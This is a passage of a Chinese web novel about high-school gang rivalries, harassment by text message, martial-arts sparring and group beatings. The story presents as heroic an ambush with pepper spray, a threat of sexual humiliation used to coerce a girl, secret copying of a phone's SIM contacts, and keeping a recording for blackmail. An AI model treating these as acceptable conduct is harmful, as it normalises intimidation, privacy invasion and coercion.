这时梁颖走过来拉着谢诗韵:"对不起,我不是故意的,我那天以为......""傻姑娘!以为什么?哼,赶紧让你老公给我也买件一样的。再说一次,我跟你们是一起的,想甩都甩不掉!"谢诗韵说道。她不仅心胸宽广,还很体贴,和这群男孩相处时总能在细节上照顾他们,大家都很喜欢她。这也是为什么她能说这么不见外的话而不让人讨厌的原因。
张霆琛走过来说:"周五是我不对!衣服我这就给商场打电话让他们送一件来。""你这么好心还是头一回呢!我看别买一件了,干脆给其他人都买了吧,直接找厂家订还便宜!这样也能分清谁是跟你张霆琛的,谁是跟路译的!"谢诗韵提议道。
张霆琛觉得这主意不错,但不知道去哪找厂家。谢诗韵看出他的疑惑:"这事包在我身上,下午就能办妥。""那我给你钱。""不用!""说好了我买的!""你有这份心就行!"谢诗韵笑着说。她的笑容确实很美,但张霆琛就是不动心。张霆琛坚决地说:"不行!既然要给大家买,我做大哥的必须出钱!你买不买?要买就我出钱!"谢诗韵拗不过他:"好吧!服了你了!"
中午时衣服送到了,不得不佩服谢诗韵的办事能力,完全没靠家里关系,就把价格压到90一件,比张霆琛他们的便宜300多!这件事证明买的没有卖的精,90块卖家都赚钱,何况商场卖400多!总共三千多块。这钱是张霆琛从欧阳云给的银行卡里取的。当大家都穿上同款衣服时,场面相当壮观,五十多人穿着粉色羽绒服在食堂里走动,吸引了所有人的目光。这群人还很得意。五十多人坐在一起,出尽了风头。
现在除了不熟的和路译宿舍的,其他人都表态要跟张霆琛了。吃完饭回宿舍,第一眼就看到路译和他仅剩的几个跟班。路译靠着墙不说话,大强走在最前面。路译的一个手下指着大强骂:"大强!**敢反水?!"
大强无言以对,但王涛站出来说:"嘴巴放干净点!没看见是我二哥救了所有兄弟吗?你们所谓的大哥丢下兄弟自己跑了知道吗?你们还有脸在这儿叫唤!"
那人还想骂,被路译拦住。路译对大强说:"我对你不薄吧?所有人都可以背叛我,但你真让我意外。"大强想说什么,张霆琛开口了:"译哥,事情已经这样了。我有几个兄弟住三楼,宿舍也不错,你们调换一下吧,对大家都好。"
"都好?!张霆琛,风头让你出尽了!我的人都跟你了,你现在跟我说对大家都好?你还是人吗?""操!路译!要不是你胆小,我们琛哥会受伤吗?这事跟琛哥有什么关系!你硬拉人下水还有理了!"人群后面的**喊道。
路译无言以对,但他不甘心啊!兄弟被张霆琛抢走,地位被张霆琛取代。现在的路译焦躁不安。张霆琛继续说:"译哥,我们不是敌人。但我对你已经仁至义尽了,我问心无愧!"
"问心无愧?张霆琛,你敢说你一开始就没打我的主意?"张霆琛站到路译面前:"我张霆琛对天发誓,我跟兄弟们说过,只要你路译不对我动歪心思,我永远是你兄弟!你敢指哪里我就敢打哪里!但你错在让兄弟疏远我,错在自命清高、胆小怕事,拿
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我当枪使!最后还抛弃兄弟!"这番话让路译哑口无言,这都是事实。
但路译突然暴起,一拳打在张霆琛脸上。张霆琛没躲,硬挨了这一下。其他人要动手,张霆琛大喊:"他能打你们,你们不能还手!他是你们以前的大哥!"这话让路译更气,又是一拳。张霆琛还是不躲。
路译还要打,李辰浩突然出现,一脚踹开他:"小琛已经做到最好了。这是个弱肉强食的世界,你走错一步注定有今天,要是刘振平那种人,你觉得还能好好走出宿舍区吗?"
路译爬起来,疯狂大笑:"这么说你们琛哥抢了我的一切,我还要谢谢他给我教训?!"这时邓志辉站出来:"识相的话就别在这儿丢人了,挺起胸膛离开。越是这样越不得人心!"
路译又笑了两声,推开人群走了。大强含着泪不知所措。李辰浩走过来低声说:"弱肉强食!既然选择了就要坚定,否则你和路译有什么区别?我保证跟着张霆琛不会让你后悔,相处久了你就知道今天的选择没错!"说完拍拍大强的肩回宿舍了。
大强自嘲地笑笑,回宿舍搬被子准备住进张霆琛他们的宿舍。王涛看见后说:"大强,开窍啦?搬进来我给你讲个故事,保证你喜欢!"这下二层半个楼道都被张霆琛的人占了。
张霆琛很满意现状。马上要放假了,可以好好休息。回想起当初软弱的自己,遇事只会哭,现在看着门外都是自己的兄弟,张霆琛感到无比幸福。
路译的东西已被送到三楼。他看着身边仅剩的几个人说:"这笔账我一定要跟张霆琛算!我绝不会放过他!"
"对!还有大强!这个叛徒!"旁边的人附和道。这时门外进来一个人,脸上还贴着创可贴,正是刘振平。他带着一帮人进来,对路译说:"哟!译哥这是怎么了?"路译狠狠瞪着他:"你来干什么?真是虎落平阳被犬欺!"
刘振平装出无辜的样子:"译哥误会了,我今天不是来找茬的,是来谈合作的。咱们都是被张霆琛害的,现在我刘振平的兄弟就是你的兄弟。叫译哥!"
刘振平说完,身后的人齐声喊道:"译哥!"路译不明白刘振平葫芦里卖的什么药。刘振平见路译敌意减轻,坐下说:"联手吧译哥,现在单独谁都干不过他。你看他们那身粉色羽绒服,恶心**!咱们一起扒了他的皮!"
路译明白了,刘振平是来联合对付张霆琛的。这正合他意,但他假装为难:"就咱们两个恐怕还不够吧?""哼哼!马上就过年了!"刘振平看了看四周,路译会意,对韩越说:"去把门!"刘振平也让手下退出去。等清场后,刘振平说:"我们打算周五干他一票!哼!然后放假,咱们安心过年!让他们郁闷去。等开学再收拾他们。李耀他们表态了,高二跟张霆琛势不两立!"
路译问:"具体怎么做?""周五放假他们肯定要聚餐,咱们就来个围追堵截!到时候高二也会出人!"刘振平阴险地笑道。"好!就这么干!"路译露出得意的笑容。
刘振平问:"译哥你现在还有多少人?"路译想了想:"加上六楼的,还有二十来个。""那好,咱们各出二十人,高二的龙镇宏出二十人,总共六十人!办了他!"
"李耀呢?"路译不解地问。刘振平叹气:"李耀说快过年不想参与。其实我看他是想坐山观虎斗,看咱们怎么收拾张霆琛,或者被张霆琛收拾!我和李耀的关系因为上次的事已经僵了,但还没到水火不容的地步,只是没以前那么好了。"
"哦,就是你和龙镇宏替李耀顶罪那次吧!那他到底帮不帮忙?"路译不放心地问。刘振平毫不犹豫地说:"肯定会帮!但不是现在。他和张霆琛也有仇,但现在想拿咱们当枪使!咱们要是摆平了张霆琛,回头就收拾他!要是摆不平,就让李耀出手,咱们坐收渔利!"
刘振平是个阴险的小人,脑子不笨,分析得头头是道。但他缺少张霆琛那种凝聚力!路译想了想,觉得有道理,便与刘振平结成了联盟。
第八十一章:切磋
"张霆琛你别睡了!"梁颖下课跑到张霆琛座位边喊道。张霆琛揉着惺忪的睡眼:"怎么了媳妇这么着急?"
"你看看这是谁给我发的短信,太恶心了!"梁颖急得直跺脚。张霆琛接过手机一看,顿时睡意全无,短信内容不堪入目!这时陈曦也气冲冲地闯进教室:"二哥,你帮我查查是哪个混蛋发的这种短信!"张霆琛看完她的手机后勃然大怒,内容同样污秽不堪。
邓志辉和李辰浩立刻围过来:"出什么事了?"等看清短信内容,两人脸色一个比一个难看。没过多久,彭思思也从隔壁班过来质问邓志辉:"邓志辉!是不是你泄露我手机号?看看这些垃圾短信!"邓志辉看完后无奈摇头:"内容一模一样!"
张霆琛一拳砸在课桌上:"这次不管是谁搞的鬼,我都要他付出代价!"李辰浩冷声道:"除了刘振平那伙人,我想不出还有谁这么下作。你们问过发信人身份吗?"
陈曦咬着嘴唇:"只有一个叫曾全的高三男生回复正常,说要和我交往,否则就找我男友麻烦。苏旭现在不在学校,我懒得理他。其他人根本就是在发疯!"
梁颖补充道:"我这边也是,只有个叫冯军的高三男生还算正常。"邓志辉转向彭思思:"你呢?""我更惨,全是神经病!"彭思思气得眼眶发红。
张霆琛突然想到:"比对下这些号码。"结果发现全是同一批号码。他当即对邓志辉下令:"今晚必须查出幕后黑手,厕所见!"
梁颖担忧地拉住张霆琛:"那个马天明要是真找你麻烦怎么办?""让他来!"张霆琛满不在乎,"高三的马天明是吧?小曦那个叫霍元?"见陈曦点头,他继续说:"先解决这些骚扰的,你们今晚都换新号码,只告诉我们几个就行。"
晚饭时间,邓志辉不知用了什么手段,果然查出四个搞鬼的学生,三个高一,一个高二的,都是刘振平和龙镇宏的小弟。张霆琛差点直接带人杀去高二教室,强压怒火说:"真够卑鄙的!邓志辉,想办法单独约他们出来。"
"你又要打架?"梁颖立刻瞪圆眼睛。"说错了,是谈判!"张霆琛连忙改口。邓志辉盘算着:"高二的可能麻烦,但高一的容易,他们常在厕所抽烟,找个人引过去就行。"最终梁颖勉强同意,但要求在场监督。
厕所里,三个高一男生刚被骗进来,就被埋伏的李辰浩和邓志辉制服。李辰浩的擒拿手让两人瞬间丧失反抗能力,邓志辉则一脚踹翻第三人。张霆琛蹲在他们面前:"知道错哪了吗?"三人连连求饶。
"转告刘振平,有本事冲我来!"张霆琛压低声音,"再骚扰女生,不死不休!"随后示意同伴:"打两分钟,别打脸!"收拾完后,三人配合地演了出"和平谈判"的戏码给梁颖看,把她哄得心服口服。
晚饭时,谢诗韵突然说:"张老大,我也收到骚扰短信了。"是不是18开头的号码?"张霆琛脱口而出,见谢诗韵瞪大眼睛,赶紧解释:"已经帮你教训过了!"
回到宿舍众人笑作一团时,张霆琛突然发现李辰浩站桩姿势更加沉稳:"大哥你最近偷偷练功了?"李辰浩有些得意的说道“没你进步的快!但是人人都在往前走!“不对啊,你最近没有练啊,怎么你的站桩比以前要稳,力量要比以前大了?”
李辰浩说“我现在在修心,这是我的必修课!身体的修行我每天晚上都在做,只是你有点懒了!”“大哥你晚上睡觉都修行?你不会是做梦去打拳吧!?”王涛惊讶的问。李辰浩懒得解释那么多说道“晚上愿意来看就过来看,说多了你们也不懂!”
张霆琛这下来了兴趣说道“咱们多久没切磋了?”“有好久了,最激烈的一次还是…”李辰浩没有往下说,张霆琛也明白,是还有薛妈的时候,张霆琛为了阻拦李辰浩去报仇那会儿的决斗!
“那咱们今天练练?”张霆琛说。“奉陪!”李辰浩双眼冒着光说道,他两虽然不喜欢到处打架,但是对武技的追求却是都热衷无比。其他人没听明白怎么回事,但是知道的是张霆琛和李辰浩要比拳脚!王涛站起来说道“那个!现在我宣布晚上起点开始决斗!我坐庄,来来来下注下注!”
邓志辉鄙视的说道“你老爸别的本事你没学来,这个倒是学的精通!”“靠!我们王家就是用一手好赌计发家,虽然我不是什么高手,但是坐庄的事情我还是一清二楚的!”王涛得意的说道。
张霆琛懒得搭理王涛耍活宝,趁他们不注意已经开溜了,这两个人已经迫不及待交手,俩人来到了小花园后便摆开架势,张霆琛是大开大合,而李辰浩则是将身子攒成一条线。李辰浩练得是暗杀术,张霆琛练得是纯武术。所以两人的架势有明显的差别。
一个瞬间李辰浩已经窜到了张霆琛的边上,张霆琛暗道一声好快马上向后退一步防守。李辰浩将身体压低,将右手握成掌形朝张霆琛的胸口插去。张霆琛拨开他的掌后,便要**,可是李辰浩好像已经料到张霆琛会这样,根本不给他任何的机会,左手握成指形,两只手指朝着张霆琛的脖子点去。张霆琛不明白李辰浩这时做什么,但是他知道不能被打中,低头躲过后将重心压低。用一招霸王硬上弓,将左腿弯曲,右脚踹向李辰浩的下巴。李辰浩没有想到张霆琛会有这么一招,但是还是被躲开了,可是张霆琛还有下招,将抬上去的腿狠狠的劈了下去,正好劈在李辰浩的肩膀。
李辰浩被击中以后马上一个后滚翻与张霆琛拉开距离,可是张霆琛得理不饶人,用少林八法的步伐两步就移至了他的跟前。李辰浩抬头没想到张霆琛会这么快,张霆琛开始展开**,他握紧拳头朝着李辰浩的脸打去,李辰浩避过后就是一记扫堂腿。
张霆琛一个不稳就被李辰浩扫到地上,以为得手了,可是谁知这是张霆琛故意的,倒地后一手抄住李辰浩的小腿,往上一撩李辰
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浩便摔到地上。张霆琛见机会来了马上扑过去用手掐住李辰浩的喉咙说道“你输了!”
李辰浩摇了摇头说道“未必啊!”张霆琛扭头一看李辰浩的手指头指着自己的脖子。张霆琛不解的问道“这是什么意思?”“这是薛妈教我的暗杀术!用指力和掌力拍人的各种学位,我手现在指的是你的经脉,我一用力你就会失去知觉,要是不马上经过调养就会死去!”李辰浩解释说。
“靠!要是真打到怎么办!?”“我又不是真的使劲!再说了我会调养的,打中了也没事!”“咱们这回平手,不过你什么时候开始练暗杀术了?”拍了拍身上的土坐到一旁的台子上李辰浩解释说“咱们早晚用的上,还有我作为大哥要提醒你不要荒废了武术,我早就想提醒你了,就是找不到合适的机会,你上回可以赢我,这回就是平手,只能说明你进步的比我快!居安思危啊!”
张霆琛挠了挠头说“我也知道,就没有合适的场地,所以最近就荒废了!”“这都是借口,薛妈跟我说人在任何时候都可以锻炼自己,只是你想不想而已!海叔说过一句话:一个真正的高手不在于身手有多强,在于能不能感知危险的来临!。咱们的处境现在看似安全,事则充满了杀机,咱们必须尽快磨练自己,在敌人没有发现咱们之前做好万全的准备!”张霆琛深思了一下,确实自己最近有些过于沉迷这种小打小闹,忘了自己真实的目的。
张霆琛叹口气说道“幸好有你大哥!”“跟我你还客气什么?!不是你就没有现在的我。”“现在是你在客气吧!”
“说不过你!就是会贫!”李辰浩说道。
“以后咱们定期的对练吧,最好也教教其他人,虽然不是所有人都能陪咱们走上社会,但是总会有一批人会追随咱们的!”李辰浩说“恩,我觉得也是,王涛就是最佳人选!咱们这个弟弟直的很,以后走上社会是必然的事情,有必要磨练他一下!”俩人这刚说人就来了,人没到大嗓门先到了“你们俩不仗义尽然不说声就比武来了!赶紧告诉我谁赢了!”
俩人会心的一笑,王涛带着一批人走了过来,不依不饶的说“快说!你们谁赢了。我可是要赚钱的!”其他人也跟着起哄说道“就是,你们谁赢了,我们可是下了注的。!”
张霆琛看了眼李辰浩然后对王涛说“你真的确定要我们说出来?”
“那是必须的!”
“不后悔?!”
“不后悔!”
“平手!”
“什么?”
张霆琛大声的说“平手!”
“那就没人赢了!玩着有什么意思啊!不行你们俩再比一回!”
张霆琛和李辰浩互相看了一眼立刻上去把王涛压倒收拾他,张霆琛嘴里大喊“王涛坐庄,大家开始买了!我们赢还是他赢!”大家把钱拿出来喊道“我用下个月的零花钱赌王涛输。”有的还说“我用一辈子的零用钱赌他输!”弄得大家不亦乐乎!
第八十二章:晨练
晚上回到宿舍后,所有人都没有睡意,非要看看他们的大哥李辰浩是怎么训练的。李辰浩无奈,只好给他们示范了一下。这一示范不要紧,直接把所有人都吓傻了。李辰浩睡在下铺,每晚都是坐着睡觉,而且是半蹲马步的姿势!他的手指一直戳着自己买的两个小沙袋。王涛好奇地摸了摸李辰浩的胳膊,硬得像钢板一样。
"**!"王涛瞪大眼睛,"浩哥,你这胳膊是铁打的吧?"宿舍里其他人都围了过来,七嘴八舌地惊叹。但更让大家震惊的是,有这样一身硬功夫的李辰浩,居然还能和张霆琛打成平手。那张霆琛得有多可怕?李辰浩突然咧嘴一笑,目光锁定王涛。王涛立刻意识到不妙,转身就想跑,但宿舍里挤满了人,根本无处可逃。
"小子!看了我的独门练**,是不是该给点报酬啊?"李辰浩一把抓住王涛的后衣领。"凭什么就我一个人要报酬?他们也都看了啊!"王涛哀嚎着指向其他人。李辰浩不为所动:"今天就你!其他人愿意跟着练也行。马上做一百个俯卧撑,然后三百个仰卧起坐!完事后睡觉!"
"我不干!这不是折磨人吗!""你干不干?"李辰浩眯起眼睛。"不干!"王涛态度坚决。李辰浩转头对其他人说:"他不干就削他!削到他干为止!"一帮人立刻围了上来,七手八脚地把王涛举起来,双腿劈开架在弯曲的床架上。"疼疼疼!**!**还不行吗!"王涛终于妥协,上气不接下气地说,"真是我的好大哥,等我什么时候打得过你了,哼哼!"
王涛嘴上不服输的样子,让李辰浩想起了苏旭。这也是他喜欢王涛的原因,这倔强劲儿简直和苏旭一模一样。等王涛完成惩罚训练后,已经瘫在地上爬不起来了。这时张霆琛对大家说:"这就是锻炼。王涛是单独训练,作为惩罚。其他人每天早上五点起床跑步,然后每人一百个俯卧撑,二十个引体向上做四组!没得商量!晚上的训练量和早上一样,再加压腿!"虽然大家嘴上唉声叹气,但心里其实挺高兴的。这帮好战分子都渴望有个好身体。
第二天一早,不到五点张霆琛就把所有人叫了起来。王涛缩在被窝里死活不肯出来,嚷嚷着浑身酸痛。但在李辰浩面前,他根本不是对手,三两下就被拽了起来。一群人穿着统一的羽绒服在操场上跑三千米。张霆琛宣布最后十名要"特殊照顾",想到昨天王涛的惨状,所有人都打起十二分精神冲刺。最后十名还是被罚多跑了一圈,对这些平时不锻炼的学生来说,三千米已经是极限,再加一圈简直是对身体和灵魂的双重考验。
跑完步是俯卧撑,又累倒一大片。到引体向上时,几乎没人能站得起来了——除了土狗、邓志辉、李辰浩和张霆琛。这四个人竟然开始比拼引体向上,看得其他人目瞪口呆。"土狗这么胖,居然这么厉害?"王涛趴在地上,难以置信地看着土狗轻松地做着引体向上。
就在训练接近尾声时,校领导出现了。他晨跑时看到一大群学生躺在地上,还有人光着膀子,吓了一跳。走近才发现是学生在锻炼。"这是谁组织的?"校领导问道。张霆琛正和李辰浩比拼引体向上,没听见。旁边的学生骄傲地回答:"是张霆琛组织的!就是那个转校生,这次月考第二的那个!"
校领导点点头:"不错,德智体全面发展是好事。你们继续。"说完便去晨跑了。训练结束后,一群人涌向食堂,把所有的里脊烧饼一扫而空。正吃得开心时,陈曦、梁颖和彭思思气冲冲地走了过来。"怎么了?"张霆琛问道。
梁颖冷哼一声:"你还说呢!我们新换的手机号又被高三的人知道了。这回不是骚扰短信,是那几个高三的直接打电话!""不
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可能啊,"邓志辉皱眉,"只有我们宿舍几个人知道你们的号码。""我们只告诉了宿舍的几个人,"陈曦说,"肯定有内奸。"
彭思思补充:"我们宿舍只有一个不合群的李丽,但我们没告诉她啊!"邓志辉分析:"问题很可能出在她身上。谁能拿到她的手机?"谢诗韵自告奋勇:"我可以!她应该还在睡觉,她的早饭都是梁颖帮忙买。我现在回去拿。"梁颖担心:"那不是偷吗?"
"不算偷,"张霆琛说,"只是确认一下她手机里有没有那几个高三生的号码。如果有,十有**就是她。"谢诗韵拍拍胸脯:"交给我!"说完就跑回宿舍。宿舍里,李丽果然还在睡觉,脸上涂着厚厚的粉,看起来像具尸体。谢诗韵轻手轻脚爬上旁边的床,拿走了李丽的手机。就在此时,手机的闹铃突然响了。
"该死!"谢诗韵赶紧关掉闹铃。李丽迷迷糊糊摸了摸,没摸到手机,又睡了过去。谢诗韵松了口气,没有直接查看手机,而是取出SIM卡,放进自己准备的手机里复制联系人。不到一分钟就完成了。临走时,她朝熟睡的李丽竖起中指。
回到食堂,调查结果证实了他们的猜测。李丽的联系人里有高三学生的号码,还有陈曦她们的新号码,更恶心的是还有刘振平的号码,备注名后面还加了个"亲亲"的表情。"呕——"所有人都做出要吐的表情。
张霆琛冷笑:"看来刘振平没少下功夫啊。"邓志辉接话:"他想利用高三的人对付我们。我打听过了,追梁颖的马天明是小角色,但追陈曦的赵丰年是高三三大金刚之一。追彭思思的大怪是赵丰年的好兄弟。"
"事情比想象的复杂,"张霆琛总结,"先解决内奸李丽,再想办法对付高三那些人。"邓志辉点头:"先收拾她,看看她亲爱的刘振平会有什么反应。"
第八十三章:食堂冲突
这伙人凑到一块儿合计了一番,打算让谢诗韵中午把李丽骗到后楼,再给刘振平打电话。这主意自然是张霆琛想出来的。谢诗韵冲张霆琛投去崇拜的目光,没成想直接被他无视了,气得谢诗韵跺着脚就走了。上课的时候,那几个高三的还在不停骚扰梁颖她们,最后姑娘们索性都关了机,打算晚上换个新手机号。其实张霆琛本想找高三那伙人谈谈,可眼看就要放假了,他实在不想节外生枝。
到了中午,张霆琛一行人早早在后楼候着。谢诗韵找到李青,扬声道:“李青!能不能帮我个忙?”李青一脸不解地看着她,假惺惺应道:“好啊!啥事?”
“有个男生想跟我处对象,约我去后楼见面,我有点不好意思!我知道这方面你经验多,陪我去一趟呗?”李青琢磨了一下,故意刁难:“可现在是饭点,耽误吃饭多不好!”
谢诗韵这火气一下就上来了,却还是咬着牙说:“我请你吃外面的,不是能点外卖吗?你陪我去,中午就吃麦当劳!”“行!”李青立马痛快答应。可等她跟着谢诗韵走到后楼,看见张霆琛他们时,瞬间傻眼了。她想跑,谢诗韵却没给她机会,从兜里掏出一小瓶喷雾,就喷在了她脸上。
李青当即蹲在地上揉眼睛,张霆琛他们走过来,王涛赞道:“犀利!不愧是咱们一姐!”谢诗韵得意地扬下巴:“那可不!姐的演技可是一流的!”蹲在地上的李青撒泼嚷嚷:“你们要干什么!我老公不会放过你们的!”
张霆琛没搭理她,只对陈曦说:“把她手机翻出来!”陈曦二话不说翻了她的衣服,找到手机后,张霆琛蹲在李青面前问:“行了!别装了,我问你,是不是你把这些姑娘的手机号给了高三那伙人?”
这回李青倒没否认,梗着脖子说:“是我又怎么样!有人追我,我不过是帮忙牵个线而已!”“还挺有理!你打电话叫刘振平过来!”张霆琛冷冷道。“哼!就你们这几个人,还想给我老公下套?”李青反倒得意起来。
“你傻了吧?我要他一个人来,你随便编个借口把他骗来。不然……哼哼!”张霆琛故意拖长了语调威胁。李青却不怕:“你们还能怎么着我?动我一下试试?我就不信你们敢把我怎么样!”张霆琛一看遇上了泼妇,正没辙呢,李辰浩站出来就是一耳光:“你叫不叫?”
李青阴狠地瞪着李辰浩:“我就不叫!你能奈我何!哼!”
李辰浩嘴角一挑:“你看过《古惑仔》吗?”李青下意识点头,不知道他为啥突然问这个。李辰浩接着说:“看过洪兴十三妹那集没有?”李青瞬间反应过来他要干嘛,赶紧捂住胸口,那集里十三妹惩罚叛徒,把人绑在柱子上,让男的捶她胸口,李青显然是知道这段的。
李辰浩对身后的人说:“把她拉开!今天就让你们见识见识什么叫恐怖。”大家都没想到平时沉稳的李辰浩今天这么主动,甚至带着点痞气。可还没等李辰浩动手,李青就服软了:“我服了,我打电话还不行吗!”
李辰浩警告:“别耍花招!他们来之前,我有的是办法玩死你!”李青慌忙道:“我不敢!把手机给我,我马上打!”张霆琛刚要递手机,李辰浩一把抢过:“要是她拨110,咱们就完了,还是我来拨号,你让她说!”其实李青还真打算这么干,结果被李辰浩识破了。看着李青慌张的脸,李辰浩得意道:“我说对了吧!”说着便拨号让李青说话。电话通了,刘振平大大咧咧的声音传来:“媳妇咋了?”李青结结巴巴地说:“你能来趟后楼吗?”
对面愣了一下,大家都以为刘振平要起疑,结果他突然大笑:“媳妇你又想了?可今天我没带套啊!”李青再不要脸,也架不住这么多人看着听着,脸瞬间红了。她正不好意思说话,李辰浩做了个抹脖子的手势,李青吓得赶紧说:“没关系,你快来吧!我等不及了!”说完匆匆挂了电话。
之后大家都一脸嫌恶地看着她,张霆琛皱眉:“以后再也不来这儿了,万一不小心踩在避孕套上,恶心都能恶心死!死也不在这儿打架了!”李辰浩也附和:“就是!太恶心了!”邓志辉说:“也就这种人能干出这种事!咱们赶紧躲起来等刘振平来!”这帮人随即躲进角落,还分散了几个人在外边守着,以防刘振平跑路。李青孤零零站在后楼空地上,刘振平一来就急吼吼地冲过来,还没到跟前就被张霆琛他们围了起来。张霆琛他们邪笑着逼近,刘振平想跑,结果被绊了个狗吃屎。王涛骑在他身上:“舒服不!敢玩阴的,你还嫩了点!”
刘振平大骂:“臭**你敢骗我!老子白养你了!”张霆琛一脚踹在他脸上:“能不能老实点!给我揍他!”其他人立马狂踹起来。最后张霆琛说:“打你,你该知道为啥!以后别再惹我们!”这回梁颖没拦着,反而气冲冲地上去踹了刘振平一脚,她不敢让刘振平看见,专挑他屁股后面踹!等大家打完,刘振平疼得龇牙咧嘴,他们却一身轻松地去吃饭了。路上李辰浩从兜里掏出李青的手机,王涛不解:“你拿人家手机干嘛?”
李辰浩晃了晃手机:“有人教过我,不想让人家害你,要么彻底解决他,要么抓住他的把柄。我刚才把他俩的对话录下来了,现在传到咱们每人手机里一份。谢诗韵,你一会儿把手机还她,告诉她有这段录音,看看她啥表情,以后还敢不敢作妖!”
谢诗韵拍手叫好,王涛却鄙视道:“恶趣味!”“你说谁?”
“说你!恶趣味!”“我杀了你!”李辰浩追着王涛就打。张霆琛看着他俩打闹,心里感慨:看来李辰浩是真把王涛当兄弟啊!
转眼到了周五,早上张霆琛他们照旧去锻炼,一个都没缺席,这让他挺高兴。跑步时李辰浩问:“你觉不觉得刘振平这次**静了?”“少点事不好吗?难道是被你的恶趣味吓着了?”张霆琛打趣道。
李辰浩却正经起来:“我说真的,刘振平不是善茬,你算计他一次又一次,这回这么平静,我总觉得不对劲。这两天我右眼皮老跳!”张霆琛一听也觉得蹊跷,按说刘振平连着高二的关系,不该这么沉得住气。他停下脚步对李辰浩说:“今天最后一天,聚餐啥的就算了,想聚过几天再说。放学大家赶紧回家,就算他憋着坏水,也没机会发作!”李辰浩觉得可行,立马通知下去让大家放学后早点走。接着张霆琛找到邓志辉:“志辉,咱们还有人在路译身边吗?”
“没了,上次闹**后,咱们的人就撤出来了,咋了?”邓志辉好奇地问。“没事,就是觉得不对劲。你让人盯住刘振平,我总觉得他今天要搞事!”张霆琛叮嘱道。
邓志辉没多问,转身就去安排。张霆琛就喜欢他这一点,会分析事儿,交给他的任务总能办得漂亮,省了不少心。晨练后大家在食堂吃饭,几个高三的走了过来,为首的个头和张霆琛差不多。他径直走到陈曦面前:“你短信里总说没时间,没时间就能跟这么多人吃饭聊天?”
陈曦不乐意了:“我认识你吗?就算有时间,我也懒得搭理你,有多远滚多远!”
这人没生气,反倒嚣张道:“我叫赵丰年!你在这学校打听打听,谁不认识我!你这么跟我说话,小心犯众怒!”这话吓唬别人还行,对张霆琛他们根本没用。
结果赵丰年身后的人站出来起哄:“咦,梁颖也在,今天走桃花运了啊!”
“哈哈哈,彭思思也在!看来咱们哥几个没白早起!”一个长相怪异的人笑道。张霆琛这时站起来:“请问你们有事吗?”赵丰年扬下巴:“没事,就是找我的女人聊聊天!”张霆琛乐了:“请问谁是你的女人?”赵丰年指着陈曦:“她就是!怎么了,你是谁?”
陈曦气炸了:“你什么东西,敢说我是你的女人!赶紧滚!”赵丰年脸色一沉:“给脸不要脸是吧?”话没说完,一声脆响,张霆琛笑眯眯地看着他:“最好把嘴巴洗干净再来,不然让你出不了这个食堂!”
赵丰年哪受过这气,刚要发作,张霆琛又是一耳光。他身后的俩人都看傻了,没见过这么生猛的高一学生!赵丰年想还手,可周围的人全站起来了,个个虎视眈眈地盯着他。赵丰年不傻,知道碰上了硬茬,
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没急着动手,反问:“你叫什么?”
“张霆琛。”“什么张霆琛!老子没听过!”其实没听过很正常,这学校太大,高三基本和其他年级隔离,连作息都不一样,赵丰年不认识他也正常。张霆琛故意学他:“不好意思,你是谁?我也没听过!”
赵丰年身后的人嚣张地指着张霆琛:“老子是大怪!**什么东西,敢跟我们年哥这么说话!”“哦?你就是大怪?”邓志辉上前一步。大怪以为自己名气吓住了他,得意地摇手指:“现在说啥都晚了,打了年哥,等着死吧!”
邓志辉指着另一个人:“你就是马天明?”马天明指着自己笑:“你怎么认识我!”
“真是踏破铁鞋无觅处,得来全不费工夫!现在才真是说啥都晚了!”邓志辉自言自语。张霆琛撸起袖子:“就是,太巧了,看来今天躲不过了!”梁颖觉得不妙,赶紧拉住张霆琛的胳膊:“别打架,你答应过我的!”
“**就是梁颖的男朋友?”马天明恶狠狠地指着张霆琛。张霆琛没理他,只对梁颖说:“我不打。”说完对周围的兄弟扬声道:“动手!”一帮人立马一拥而上,瞬间把赵丰年他们围在了中间。几分钟后张霆琛喊停:“行了,再打就出大事了!”梁颖埋怨地看着他,张霆琛在她耳边轻笑:“你看,我没动手吧?”“就你点子多!”
赵丰年从地上爬起来,指着张霆琛放狠话:“小子,这事没完!你有种!”张霆琛走到他面前:“我最讨厌别人威胁我。别没事就骚扰别人女朋友,招人烦!再敢骚扰她们,下次就没这么轻松了!”邓志辉拎起大怪:“听见了吗?再让我知道你骚扰思思,我让你吃不了兜着走!”说完一脚把他踹开。
张霆琛打了高三的赵丰年,这事很快在校园里传开,自然也传到了韩越和**耳朵里。韩越跟**说:“这小子平时不惹事,惹事就专挑硬的来!”“可不是嘛,跟咱们那时候一样!估计又是赵丰年先犯贱,这小子好色的毛病改不了!”**撇嘴。
“是啊,因为这没少挨打,怎么就不长记性!”韩越纳闷。“咱们要去帮他说和说和吗?”**问。“不去!看看他自己怎么处理,真求到咱们这儿再说!”
“你还想看热闹?赵丰年虽说人贱,势力可不弱,真跟张霆琛干起来,还不知道谁赢呢!”“哼,马上要考试了,赵丰年能拉出几个打架的?就算叫人,也未必比张霆琛他们人多。现在张霆琛他们至少六十来人,你说赵丰年怎么打?”
“叫五十来人还不容易?”“这你就不懂了!张霆琛他们是整天腻在一起的兄弟,赵丰年叫人得喊半天,没准还得求咱们,他能比得过张霆琛?”韩越解释。“算了,聊这没用!换作是我,马上放假了肯定不惹事!”
“得了吧,换作你,早就带人打回去了!高三就数你冲动,不然拼命三郎的名号怎么来的?”韩越嘲笑他。俩人正聊着,赵丰年就找来了,一进门就喊:“越哥、鸣哥!”
看来赵丰年的地位比他们低一截。韩越递给他一根烟:“怎么了?一脸伤,谁干的?哥哥帮你报仇!”赵丰年叹口气:“还不是几个高一的小崽子,算了不提了。哥几个中午去后楼看看?”
**摇头:“不是吧,打高一的还叫我们去?打高二的叫我们去还勉强能接受。你怎么越活越回去了,自己摆不平?”赵丰年尴尬道:“嗨,我就是说说!现在大家都忙着学习,能叫出来的也就三十来个,还有好多提前回家了,我怕人不够!”
“人不够?李海呢?(三大金刚之一)”“这周就没来,估计是玩嗨了,回家歇着了!”韩越这时劝道:“现在人这么少,你叫我们也没用。听我劝,忍忍,开学再说!非得放假前**?”
赵丰年没好气:“这不是丢面子嘛!”“现在去了挨顿揍,更丢面子!”**戳穿他。赵丰年看出来他俩不想帮忙,也没自讨没趣,抽完烟就走了。可他也不傻,直接去高二联系人,正好找上了龙镇宏!这下可好,刘振平他们又多了个强援,张霆琛他们这回怕是凶多吉少了!
第八十四章:孤身前往
赵丰年上午还嚷嚷着要找张霆琛报仇,到了中午却没了音讯,下午更是连半点风声都听不到。张霆琛他们正忙着领假期作业,李辰浩凑过来问:“怎么赵丰年没动静了?”
